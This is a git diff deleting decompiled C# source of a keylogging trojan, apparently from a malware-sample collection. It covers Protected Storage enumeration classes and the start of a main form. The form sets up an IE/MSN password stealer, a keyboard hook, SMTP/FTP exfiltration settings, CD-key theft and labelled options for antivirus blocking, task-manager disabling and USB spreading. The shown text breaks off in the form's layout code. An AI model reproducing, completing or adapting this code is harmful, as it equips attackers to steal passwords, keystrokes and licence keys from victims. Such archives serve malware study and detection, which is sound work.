C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Roy.PStoreLib; -using System; -using System.Runtime.InteropServices; - -namespace Roy -{ - internal class CType_Renamed : CUtils - { - private IPStore m_IPStore; - private Guid m_Guid; - private string m_DisplayName; - private PST_KEY m_KeyType; - private CSubTypes m_SubTypes; - - public CType_Renamed() => this.m_Guid = new Guid(); - - internal void Init(IPStore PStore, PST_KEY KeyType, ref Guid guidType) - { - this.m_IPStore = PStore; - this.m_Guid = guidType; - int ppInfo; - this.m_IPStore.GetTypeInfo(KeyType, ref guidType, ref ppInfo, 0); - if (ppInfo != 0) - { - IntPtr ptr = new IntPtr(ppInfo); - PST_TYPEINFO pstTypeinfo1; - object structure = Marshal.PtrToStructure(ptr, pstTypeinfo1.GetType()); - PST_TYPEINFO pstTypeinfo2; - this.m_DisplayName = this.CopyString((structure != null ? (PST_TYPEINFO) structure : pstTypeinfo2).szDisplayName); - ptr = new IntPtr(ppInfo); - Marshal.FreeCoTaskMem(ptr); - } - this.m_SubTypes = new CSubTypes(); - this.m_SubTypes.Init(PStore, KeyType, ref guidType); - } - - public void Delete() => this.m_IPStore.DeleteType(this.m_KeyType, ref this.m_Guid, 0); - - public string TypeGuid => this.m_Guid.ToString(); - - public string DisplayName => this.m_DisplayName; - - public CSubTypes SubTypes => this.m_SubTypes; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CTypes.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CTypes.cs deleted file mode 100644 index d94841f5..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CTypes.cs +++ /dev/null @@ -1,162 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.CTypes -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Roy.PStoreLib; -using System; -using System.Collections; -using System.Runtime.InteropServices; - -namespace Roy -{ - internal class CTypes : CUtils, IEnumerator, IEnumerable - { - private IPStore m_IPStore; - private PST_KEY m_KeyType; - private IEnumPStoreTypes m_IEnumType; - private CType_Renamed m_Current; - - internal CTypes(IPStore PStore, PST_KEY KeyType) - { - this.m_IPStore = PStore; - this.m_KeyType = KeyType; - this.m_IEnumType = PStore.EnumTypes(KeyType, 0); - } - - public CType_Renamed get_Item(int Index) - { - int num1; - CType_Renamed ctypeRenamed1; - int num2; - try - { - Guid guid = new Guid(); - ProjectData.ClearProjectError(); - num1 = 2; - this.m_IEnumType.Reset(); - this.m_IEnumType.Skip(Index); - int pceltFetched; - this.m_IEnumType.Next(1, ref guid, ref pceltFetched); - ctypeRenamed1 = new CType_Renamed(); - ctypeRenamed1.Init(this.m_IPStore, this.m_KeyType, ref guid); - goto label_6; -label_1: - num2 = -1; - switch (num1) - { - case 2: - goto label_6; - } - } - catch (Exception ex) when ( - { - // ISSUE: unable to correctly present filter - int num3; - if (ex is Exception & num1 != 0 & num3 == 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - ProjectData.SetProjectError(ex); - goto label_1; - } - throw ProjectData.CreateProjectError(-2146828237); -label_6: - CType_Renamed ctypeRenamed2 = ctypeRenamed1; - if (num2 == 0) - return ctypeRenamed2; - ProjectData.ClearProjectError(); - return ctypeRenamed2; - } - - public int Count - { - get - { - int num1; - int num2; - int num3; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - this.m_IEnumType.Reset(); - while (true) - { - this.m_IEnumType.Skip(1); - checked { ++num2; } - } -label_2: - num3 = -1; - switch (num1) - { - case 2: - goto label_7; - } - } - catch (Exception ex) when ( - { - int num4; - if (ex is Exception & num1 != 0 & num4 == 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - int count = num2; - if (num3 == 0) - return count; - ProjectData.ClearProjectError(); - return count; - } - } - - public void Delete(Guid guidType) => this.m_IPStore.DeleteType(this.m_KeyType, ref guidType, 0); - - public void Add(Guid guidType, string szDisplayName) - { - PST_TYPEINFO pInfo; - pInfo.cbSize = Strings.Len((object) pInfo); - pInfo.szDisplayName = Marshal.StringToHGlobalUni(szDisplayName); - this.m_IPStore.CreateType(this.m_KeyType, ref guidType, ref pInfo, 0); - Marshal.FreeHGlobal(pInfo.szDisplayName); - } - - public IEnumerator GetEnumerator() - { - this.Reset(); - return (IEnumerator) this; - } - - public void Reset() => this.m_IEnumType.Reset(); - - public object Current => (object) this.m_Current; - - public bool MoveNext() - { - Guid guid = new Guid(); - int pceltFetched; - if (this.m_IEnumType.Next(1, ref guid, ref pceltFetched) != 0) - return false; - this.m_Current = new CType_Renamed(); - this.m_Current.Init(this.m_IPStore, this.m_KeyType, ref guid); - return true; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CUtils.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CUtils.cs deleted file mode 100644 index ec3539a5..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CUtils.cs +++ /dev/null @@ -1,32 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.CUtils -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using System; -using System.Runtime.InteropServices; - -namespace Roy -{ - public class CUtils - { - protected string CopyString(IntPtr ptr) => Marshal.PtrToStringUni(ptr); - - protected int getStrLengthA(byte[] str) - { - int strLengthA = 0; - byte[] numArray = str; - int index = 0; - while (index < numArray.Length) - { - byte num = numArray[index]; - checked { ++strLengthA; } - if (num == (byte) 0) - return strLengthA; - checked { ++index; } - } - return strLengthA; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Form1.cs deleted file mode 100644 index 129864d8..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/Form1.cs +++ /dev/null @@ -1,9116 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.Form1 -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using Roy.My; -using System; -using System.Collections; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data.SqlClient; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Linq; -using System.Management; -using System.Net; -using System.Net.Mail; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; -using System.Xml.XPath; - -namespace Roy -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer components; - [AccessedThroughProperty("TextBox4")] - private TextBox _TextBox4; - [AccessedThroughProperty("TextBox3")] - private TextBox _TextBox3; - [AccessedThroughProperty("TextBox2")] - private TextBox _TextBox2; - [AccessedThroughProperty("TextBox1")] - private TextBox _TextBox1; - [AccessedThroughProperty("Label1")] - private Label _Label1; - [AccessedThroughProperty("Label2")] - private Label _Label2; - [AccessedThroughProperty("Label3")] - private Label _Label3; - [AccessedThroughProperty("Label4")] - private Label _Label4; - [AccessedThroughProperty("Label5")] - private Label _Label5; - [AccessedThroughProperty("Label6")] - private Label _Label6; - [AccessedThroughProperty("Label7")] - private Label _Label7; - [AccessedThroughProperty("Label8")] - private Label _Label8; - [AccessedThroughProperty("Label9")] - private Label _Label9; - [AccessedThroughProperty("Label10")] - private Label _Label10; - [AccessedThroughProperty("Label11")] - private Label _Label11; - [AccessedThroughProperty("Label12")] - private Label _Label12; - [AccessedThroughProperty("Label13")] - private Label _Label13; - [AccessedThroughProperty("Label14")] - private Label _Label14; - [AccessedThroughProperty("Label15")] - private Label _Label15; - [AccessedThroughProperty("Label16")] - private Label _Label16; - [AccessedThroughProperty("Label17")] - private Label _Label17; - [AccessedThroughProperty("Label18")] - private Label _Label18; - [AccessedThroughProperty("Label19")] - private Label _Label19; - [AccessedThroughProperty("Label20")] - private Label _Label20; - [AccessedThroughProperty("Label21")] - private Label _Label21; - [AccessedThroughProperty("Label22")] - private Label _Label22; - [AccessedThroughProperty("Label23")] - private Label _Label23; - [AccessedThroughProperty("Label24")] - private Label _Label24; - [AccessedThroughProperty("Label25")] - private Label _Label25; - [AccessedThroughProperty("Label26")] - private Label _Label26; - [AccessedThroughProperty("Label27")] - private Label _Label27; - [AccessedThroughProperty("Label28")] - private Label _Label28; - [AccessedThroughProperty("Label29")] - private Label _Label29; - [AccessedThroughProperty("Label30")] - private Label _Label30; - [AccessedThroughProperty("Label31")] - private Label _Label31; - [AccessedThroughProperty("Label32")] - private Label _Label32; - [AccessedThroughProperty("Label33")] - private Label _Label33; - [AccessedThroughProperty("TextBox5")] - private TextBox _TextBox5; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer _Timer1; - [AccessedThroughProperty("Timer2")] - private System.Windows.Forms.Timer _Timer2; - [AccessedThroughProperty("Timer3")] - private System.Windows.Forms.Timer _Timer3; - [AccessedThroughProperty("Label34")] - private Label _Label34; - [AccessedThroughProperty("TextBox6")] - private TextBox _TextBox6; - [AccessedThroughProperty("TextBox7")] - private TextBox _TextBox7; - [AccessedThroughProperty("TextBox8")] - private TextBox _TextBox8; - [AccessedThroughProperty("TextBox9")] - private TextBox _TextBox9; - [AccessedThroughProperty("TextBox10")] - private TextBox _TextBox10; - [AccessedThroughProperty("Label36")] - private Label _Label36; - [AccessedThroughProperty("Label35")] - private Label _Label35; - [AccessedThroughProperty("lblNumb")] - private Label _lblNumb; - [AccessedThroughProperty("TextBox11")] - private TextBox _TextBox11; - [AccessedThroughProperty("TextBox12")] - private TextBox _TextBox12; - [AccessedThroughProperty("Label37")] - private Label _Label37; - [AccessedThroughProperty("ListBox1")] - private ListBox _ListBox1; - [AccessedThroughProperty("Timer5")] - private System.Windows.Forms.Timer _Timer5; - [AccessedThroughProperty("TextBox13")] - private TextBox _TextBox13; - [AccessedThroughProperty("Label39")] - private Label _Label39; - [AccessedThroughProperty("Label38")] - private Label _Label38; - [AccessedThroughProperty("Label40")] - private Label _Label40; - [AccessedThroughProperty("Label41")] - private Label _Label41; - [AccessedThroughProperty("Timer4")] - private System.Windows.Forms.Timer _Timer4; - [AccessedThroughProperty("Timer6")] - private System.Windows.Forms.Timer _Timer6; - [AccessedThroughProperty("Timer7")] - private System.Windows.Forms.Timer _Timer7; - [AccessedThroughProperty("TextBox14")] - private TextBox _TextBox14; - [AccessedThroughProperty("TextBox15")] - private TextBox _TextBox15; - [AccessedThroughProperty("TextBox16")] - private TextBox _TextBox16; - [AccessedThroughProperty("TextBox17")] - private TextBox _TextBox17; - [AccessedThroughProperty("Label42")] - private Label _Label42; - [AccessedThroughProperty("TextBox18")] - private TextBox _TextBox18; - [AccessedThroughProperty("TextBox19")] - private TextBox _TextBox19; - [AccessedThroughProperty("TextBox20")] - private TextBox _TextBox20; - [AccessedThroughProperty("Label43")] - private Label _Label43; - [AccessedThroughProperty("Label44")] - private Label _Label44; - [AccessedThroughProperty("Label45")] - private Label _Label45; - [AccessedThroughProperty("Label46")] - private Label _Label46; - [AccessedThroughProperty("Label47")] - private Label _Label47; - [AccessedThroughProperty("Label48")] - private Label _Label48; - private string text1; - private string text2; - private string text3; - private string numberval; - private string cb1; - private string cb2; - private string cb3; - private string cb4; - private string cb5; - private string cb6; - private string cb7; - private string cb8; - private string cb9; - private string cb10; - private string cb11; - private string cb12; - private string cb13; - private string cb14; - private string cb15; - private string cb16; - private string cb17; - private string cb18; - private string cb19; - private string cb20; - private string cb21; - private string cb22; - private string cb23; - private string cb24; - private string cb25; - private string cb26; - private string cb27; - private string cb28; - private string cb29; - private string cb30; - private string logsspt; - private string smtpgmail; - private string smtp; - private string port; - private string ftpfolder; - private string filezafter; - private string skey; - private string rdurl; - private string rdfilename; - private string fakesub; - private string fakebody; - private string fakeerror; - private string sername; - private string wlist; - private string dpath; - private string chromefuck; - private string dynfuck; - private string @out; - private string imvu; - private string NoIpBox; - private string Pigtext; - private string filez; - private CIEPasswords PIE; - private string ie; - private string msn1; - private string msn2; - private CMSNExplorerPasswords PMSNExplorer; - private CMSNMessengerPasswords PMSNMessenger; - private CIE7Passwords PIESEVEN; - private string idmname; - private string idmemail; - private string idmserial; - private string idmpass; - private string fuckcheck; - private string clip; - private string nl; - private string totalfuckshit; - private string cd_tot; - private string attact_fuck; - private string officekey; - private string pros_name; - private string installdate; - private string computername; - private string l_drivers; - private RegistryKey m_LM; - private RegistryKey m_HW; - private RegistryKey m_Des; - private RegistryKey m_System; - private RegistryKey m_CPU; - private RegistryKey m_Info; - private string os_manu; - private string motherbo_name; - private string motherbo_product; - private string motherbo_serial; - private string total_Fuck_CpInformtion; - private string Cp_ip; - private string ftp_increment; - private string steam_fuckkey; - private DateTime dteData; - private string datenow; - private string ftp_upload_NewxFuck; - private const string FileSplit = "@Rapid@"; - [AccessedThroughProperty("kbHook")] - private Form1.KeyboardHook _kbHook; - private string strin; - private string ans; - [AccessedThroughProperty("m_MediaConnectWatcher")] - private ManagementEventWatcher _m_MediaConnectWatcher; - public string details; - private string Targetdrive; - - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.skey = "highckcisrtg/ahf89qu4uq9qur9e9ir9qu9rujncjnajfduaufjanfjudhfanfjnjaujw$%#*VSHBVDKafmiarenaf97(Dffafdghjykiuishsfgr5456afadghtrytfffutuiobxnkd"; - this.dpath = Environment.GetFolderPath(Environment.SpecialFolder.Templates); - this.@out = ""; - this.PIE = new CIEPasswords(); - this.PMSNExplorer = new CMSNExplorerPasswords(); - this.PMSNMessenger = new CMSNMessengerPasswords(); - this.PIESEVEN = new CIE7Passwords(); - this.nl = Environment.NewLine; - this.attact_fuck = this.dpath + "\\cdkeys.txt"; - this.ftp_increment = Conversions.ToString(1); - this.datenow = DateTime.Now.ToString().Replace("/", "-").Replace(" ", "---").Replace(":", "-"); - this.kbHook = new Form1.KeyboardHook(); - this.strin = (string) null; - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.TextBox4 = new TextBox(); - this.TextBox3 = new TextBox(); - this.TextBox2 = new TextBox(); - this.TextBox1 = new TextBox(); - this.Label1 = new Label(); - this.Label2 = new Label(); - this.Label3 = new Label(); - this.Label4 = new Label(); - this.Label5 = new Label(); - this.Label6 = new Label(); - this.Label7 = new Label(); - this.Label8 = new Label(); - this.Label9 = new Label(); - this.Label10 = new Label(); - this.Label11 = new Label(); - this.Label12 = new Label(); - this.Label13 = new Label(); - this.Label14 = new Label(); - this.Label15 = new Label(); - this.Label16 = new Label(); - this.Label17 = new Label(); - this.Label18 = new Label(); - this.Label19 = new Label(); - this.Label20 = new Label(); - this.Label21 = new Label(); - this.Label22 = new Label(); - this.Label23 = new Label(); - this.Label24 = new Label(); - this.Label25 = new Label(); - this.Label26 = new Label(); - this.Label27 = new Label(); - this.Label28 = new Label(); - this.Label29 = new Label(); - this.Label30 = new Label(); - this.Label31 = new Label(); - this.Label32 = new Label(); - this.Label33 = new Label(); - this.TextBox5 = new TextBox(); - this.Timer1 = new System.Windows.Forms.Timer(this.components); - this.Timer2 = new System.Windows.Forms.Timer(this.components); - this.Timer3 = new System.Windows.Forms.Timer(this.components); - this.Label34 = new Label(); - this.TextBox6 = new TextBox(); - this.TextBox7 = new TextBox(); - this.TextBox8 = new TextBox(); - this.TextBox9 = new TextBox(); - this.TextBox10 = new TextBox(); - this.Label36 = new Label(); - this.Label35 = new Label(); - this.lblNumb = new Label(); - this.TextBox11 = new TextBox(); - this.TextBox12 = new TextBox(); - this.Label37 = new Label(); - this.ListBox1 = new ListBox(); - this.Timer5 = new System.Windows.Forms.Timer(this.components); - this.TextBox13 = new TextBox(); - this.Label39 = new Label(); - this.Label38 = new Label(); - this.Label40 = new Label(); - this.Label41 = new Label(); - this.Timer4 = new System.Windows.Forms.Timer(this.components); - this.Timer6 = new System.Windows.Forms.Timer(this.components); - this.Timer7 = new System.Windows.Forms.Timer(this.components); - this.TextBox14 = new TextBox(); - this.TextBox15 = new TextBox(); - this.TextBox16 = new TextBox(); - this.TextBox17 = new TextBox(); - this.Label42 = new Label(); - this.TextBox18 = new TextBox(); - this.TextBox19 = new TextBox(); - this.TextBox20 = new TextBox(); - this.Label43 = new Label(); - this.Label44 = new Label(); - this.Label45 = new Label(); - this.Label46 = new Label(); - this.Label47 = new Label(); - this.Label48 = new Label(); - this.SuspendLayout(); - TextBox textBox4_1 = this.TextBox4; - Point point1 = new Point(308, 68); - Point point2 = point1; - textBox4_1.Location = point2; - this.TextBox4.Name = "TextBox4"; - TextBox textBox4_2 = this.TextBox4; - Size size1 = new Size(138, 20); - Size size2 = size1; - textBox4_2.Size = size2; - this.TextBox4.TabIndex = 126; - TextBox textBox3_1 = this.TextBox3; - point1 = new Point(308, 42); - Point point3 = point1; - textBox3_1.Location = point3; - this.TextBox3.Name = "TextBox3"; - TextBox textBox3_2 = this.TextBox3; - size1 = new Size(138, 20); - Size size3 = size1; - textBox3_2.Size = size3; - this.TextBox3.TabIndex = 125; - TextBox textBox2_1 = this.TextBox2; - point1 = new Point(308, 16); - Point point4 = point1; - textBox2_1.Location = point4; - this.TextBox2.Name = "TextBox2"; - TextBox textBox2_2 = this.TextBox2; - size1 = new Size(138, 20); - Size size4 = size1; - textBox2_2.Size = size4; - this.TextBox2.TabIndex = 124; - TextBox textBox1_1 = this.TextBox1; - point1 = new Point(22, 12); - Point point5 = point1; - textBox1_1.Location = point5; - this.TextBox1.Multiline = true; - this.TextBox1.Name = "TextBox1"; - this.TextBox1.ScrollBars = ScrollBars.Vertical; - TextBox textBox1_2 = this.TextBox1; - size1 = new Size(280, 226); - Size size5 = size1; - textBox1_2.Size = size5; - this.TextBox1.TabIndex = 123; - this.Label1.AutoSize = true; - Label label1_1 = this.Label1; - point1 = new Point(90, 259); - Point point6 = point1; - label1_1.Location = point6; - this.Label1.Name = "Label1"; - Label label1_2 = this.Label1; - size1 = new Size(56, 13); - Size size6 = size1; - label1_2.Size = size6; - this.Label1.TabIndex = (int) sbyte.MaxValue; - this.Label1.Text = "numberval"; - this.Label2.AutoSize = true; - Label label2_1 = this.Label2; - point1 = new Point(90, 294); - Point point7 = point1; - label2_1.Location = point7; - this.Label2.Name = "Label2"; - Label label2_2 = this.Label2; - size1 = new Size(49, 13); - Size size7 = size1; - label2_2.Size = size7; - this.Label2.TabIndex = 128; - this.Label2.Text = "smtp|gmil"; - this.Label3.AutoSize = true; - Label label3_1 = this.Label3; - point1 = new Point(93, 331); - Point point8 = point1; - label3_1.Location = point8; - this.Label3.Name = "Label3"; - Label label3_2 = this.Label3; - size1 = new Size(45, 13); - Size size8 = size1; - label3_2.Size = size8; - this.Label3.TabIndex = 129; - this.Label3.Text = "ftpfolder"; - this.Label4.AutoSize = true; - Label label4_1 = this.Label4; - point1 = new Point(93, 365); - Point point9 = point1; - label4_1.Location = point9; - this.Label4.Name = "Label4"; - Label label4_2 = this.Label4; - size1 = new Size(29, 13); - Size size9 = size1; - label4_2.Size = size9; - this.Label4.TabIndex = 130; - this.Label4.Text = "smtp"; - this.Label5.AutoSize = true; - Label label5_1 = this.Label5; - point1 = new Point(96, 388); - Point point10 = point1; - label5_1.Location = point10; - this.Label5.Name = "Label5"; - Label label5_2 = this.Label5; - size1 = new Size(25, 13); - Size size10 = size1; - label5_2.Size = size10; - this.Label5.TabIndex = 131; - this.Label5.Text = "port"; - this.Label6.AutoSize = true; - Label label6_1 = this.Label6; - point1 = new Point(89, 416); - Point point11 = point1; - label6_1.Location = point11; - this.Label6.Name = "Label6"; - Label label6_2 = this.Label6; - size1 = new Size(56, 13); - Size size11 = size1; - label6_2.Size = size11; - this.Label6.TabIndex = 132; - this.Label6.Text = "encryption"; - this.Label7.AutoSize = true; - Label label7_1 = this.Label7; - point1 = new Point(99, 443); - Point point12 = point1; - label7_1.Location = point12; - this.Label7.Name = "Label7"; - Label label7_2 = this.Label7; - size1 = new Size(29, 13); - Size size12 = size1; - label7_2.Size = size12; - this.Label7.TabIndex = 133; - this.Label7.Text = "skey"; - this.Label8.AutoSize = true; - Label label8_1 = this.Label8; - point1 = new Point(47, 473); - Point point13 = point1; - label8_1.Location = point13; - this.Label8.Name = "Label8"; - Label label8_2 = this.Label8; - size1 = new Size(35, 13); - Size size13 = size1; - label8_2.Size = size13; - this.Label8.TabIndex = 134; - this.Label8.Text = "anties"; - this.Label9.AutoSize = true; - Label label9_1 = this.Label9; - point1 = new Point(207, 259); - Point point14 = point1; - label9_1.Location = point14; - this.Label9.Name = "Label9"; - Label label9_2 = this.Label9; - size1 = new Size(16, 13); - Size size14 = size1; - label9_2.Size = size14; - this.Label9.TabIndex = 135; - this.Label9.Text = "rd"; - this.Label10.AutoSize = true; - Label label10_1 = this.Label10; - point1 = new Point(210, 276); - Point point15 = point1; - label10_1.Location = point15; - this.Label10.Name = "Label10"; - Label label10_2 = this.Label10; - size1 = new Size(27, 13); - Size size15 = size1; - label10_2.Size = size15; - this.Label10.TabIndex = 136; - this.Label10.Text = "rdurl"; - this.Label11.AutoSize = true; - Label label11_1 = this.Label11; - point1 = new Point(210, 294); - Point point16 = point1; - label11_1.Location = point16; - this.Label11.Name = "Label11"; - Label label11_2 = this.Label11; - size1 = new Size(55, 13); - Size size16 = size1; - label11_2.Size = size16; - this.Label11.TabIndex = 137; - this.Label11.Text = "rdfilename"; - this.Label12.AutoSize = true; - Label label12_1 = this.Label12; - point1 = new Point(238, 333); - Point point17 = point1; - label12_1.Location = point17; - this.Label12.Name = "Label12"; - Label label12_2 = this.Label12; - size1 = new Size(28, 13); - Size size17 = size1; - label12_2.Size = size17; - this.Label12.TabIndex = 138; - this.Label12.Text = "fake"; - this.Label13.AutoSize = true; - Label label13_1 = this.Label13; - point1 = new Point(238, 362); - Point point18 = point1; - label13_1.Location = point18; - this.Label13.Name = "Label13"; - Label label13_2 = this.Label13; - size1 = new Size(45, 13); - Size size18 = size1; - label13_2.Size = size18; - this.Label13.TabIndex = 139; - this.Label13.Text = "fakesub"; - this.Label14.AutoSize = true; - Label label14_1 = this.Label14; - point1 = new Point(238, 389); - Point point19 = point1; - label14_1.Location = point19; - this.Label14.Name = "Label14"; - Label label14_2 = this.Label14; - size1 = new Size(51, 13); - Size size19 = size1; - label14_2.Size = size19; - this.Label14.TabIndex = 140; - this.Label14.Text = "fakebody"; - this.Label15.AutoSize = true; - Label label15_1 = this.Label15; - point1 = new Point(244, 413); - Point point20 = point1; - label15_1.Location = point20; - this.Label15.Name = "Label15"; - Label label15_2 = this.Label15; - size1 = new Size(52, 13); - Size size20 = size1; - label15_2.Size = size20; - this.Label15.TabIndex = 141; - this.Label15.Text = "fake error"; - this.Label16.AutoSize = true; - Label label16_1 = this.Label16; - point1 = new Point(247, 439); - Point point21 = point1; - label16_1.Location = point21; - this.Label16.Name = "Label16"; - Label label16_2 = this.Label16; - size1 = new Size(39, 13); - Size size21 = size1; - label16_2.Size = size21; - this.Label16.TabIndex = 142; - this.Label16.Text = "startup"; - this.Label17.AutoSize = true; - Label label17_1 = this.Label17; - point1 = new Point(241, 456); - Point point22 = point1; - label17_1.Location = point22; - this.Label17.Name = "Label17"; - Label label17_2 = this.Label17; - size1 = new Size(24, 13); - Size size22 = size1; - label17_2.Size = size22; - this.Label17.TabIndex = 143; - this.Label17.Text = "usb"; - this.Label18.AutoSize = true; - Label label18_1 = this.Label18; - point1 = new Point(228, 482); - Point point23 = point1; - label18_1.Location = point23; - this.Label18.Name = "Label18"; - Label label18_2 = this.Label18; - size1 = new Size(25, 13); - Size size23 = size1; - label18_2.Size = size23; - this.Label18.TabIndex = 144; - this.Label18.Text = "p2p"; - this.Label19.AutoSize = true; - Label label19_1 = this.Label19; - point1 = new Point(318, 252); - Point point24 = point1; - label19_1.Location = point24; - this.Label19.Name = "Label19"; - Label label19_2 = this.Label19; - size1 = new Size(68, 13); - Size size24 = size1; - label19_2.Size = size24; - this.Label19.TabIndex = 145; - this.Label19.Text = "screenlogger"; - this.Label20.AutoSize = true; - Label label20_1 = this.Label20; - point1 = new Point(327, 287); - Point point25 = point1; - label20_1.Location = point25; - this.Label20.Name = "Label20"; - Label label20_2 = this.Label20; - size1 = new Size(43, 13); - Size size25 = size1; - label20_2.Size = size25; - this.Label20.TabIndex = 146; - this.Label20.Text = "stealers"; - this.Label21.AutoSize = true; - Label label21_1 = this.Label21; - point1 = new Point(330, 323); - Point point26 = point1; - label21_1.Location = point26; - this.Label21.Name = "Label21"; - Label label21_2 = this.Label21; - size1 = new Size(56, 13); - Size size26 = size1; - label21_2.Size = size26; - this.Label21.TabIndex = 147; - this.Label21.Text = "disablethis"; - this.Label22.AutoSize = true; - Label label22_1 = this.Label22; - point1 = new Point(333, 342); - Point point27 = point1; - label22_1.Location = point27; - this.Label22.Name = "Label22"; - Label label22_2 = this.Label22; - size1 = new Size(22, 13); - Size size27 = size1; - label22_2.Size = size27; - this.Label22.TabIndex = 148; - this.Label22.Text = "run"; - this.Label23.AutoSize = true; - Label label23_1 = this.Label23; - point1 = new Point(330, 359); - Point point28 = point1; - label23_1.Location = point28; - this.Label23.Name = "Label23"; - Label label23_2 = this.Label23; - size1 = new Size(42, 13); - Size size28 = size1; - label23_2.Size = size28; - this.Label23.TabIndex = 149; - this.Label23.Text = "taskbar"; - this.Label24.AutoSize = true; - Label label24_1 = this.Label24; - point1 = new Point(325, 382); - Point point29 = point1; - label24_1.Location = point29; - this.Label24.Name = "Label24"; - Label label24_2 = this.Label24; - size1 = new Size(27, 13); - Size size29 = size1; - label24_2.Size = size29; - this.Label24.TabIndex = 150; - this.Label24.Text = "cmd"; - this.Label25.AutoSize = true; - Label label25_1 = this.Label25; - point1 = new Point(330, 408); - Point point30 = point1; - label25_1.Location = point30; - this.Label25.Name = "Label25"; - Label label25_2 = this.Label25; - size1 = new Size(40, 13); - Size size30 = size1; - label25_2.Size = size30; - this.Label25.TabIndex = 151; - this.Label25.Text = "registry"; - this.Label26.AutoSize = true; - Label label26_1 = this.Label26; - point1 = new Point(333, 435); - Point point31 = point1; - label26_1.Location = point31; - this.Label26.Name = "Label26"; - Label label26_2 = this.Label26; - size1 = new Size(49, 13); - Size size31 = size1; - label26_2.Size = size31; - this.Label26.TabIndex = 152; - this.Label26.Text = "rightclick"; - this.Label27.AutoSize = true; - Label label27_1 = this.Label27; - point1 = new Point(324, 461); - Point point32 = point1; - label27_1.Location = point32; - this.Label27.Name = "Label27"; - Label label27_2 = this.Label27; - size1 = new Size(67, 13); - Size size32 = size1; - label27_2.Size = size32; - this.Label27.TabIndex = 153; - this.Label27.Text = "folderoptions"; - this.Label28.AutoSize = true; - Label label28_1 = this.Label28; - point1 = new Point(318, 490); - Point point33 = point1; - label28_1.Location = point33; - this.Label28.Name = "Label28"; - Label label28_2 = this.Label28; - size1 = new Size(50, 13); - Size size33 = size1; - label28_2.Size = size33; - this.Label28.TabIndex = 154; - this.Label28.Text = "taskmngr"; - this.Label29.AutoSize = true; - Label label29_1 = this.Label29; - point1 = new Point(420, 252); - Point point34 = point1; - label29_1.Location = point34; - this.Label29.Name = "Label29"; - Label label29_2 = this.Label29; - size1 = new Size(57, 13); - Size size34 = size1; - label29_2.Size = size34; - this.Label29.TabIndex = 155; - this.Label29.Text = "av-blocker"; - this.Label30.AutoSize = true; - Label label30_1 = this.Label30; - point1 = new Point(420, 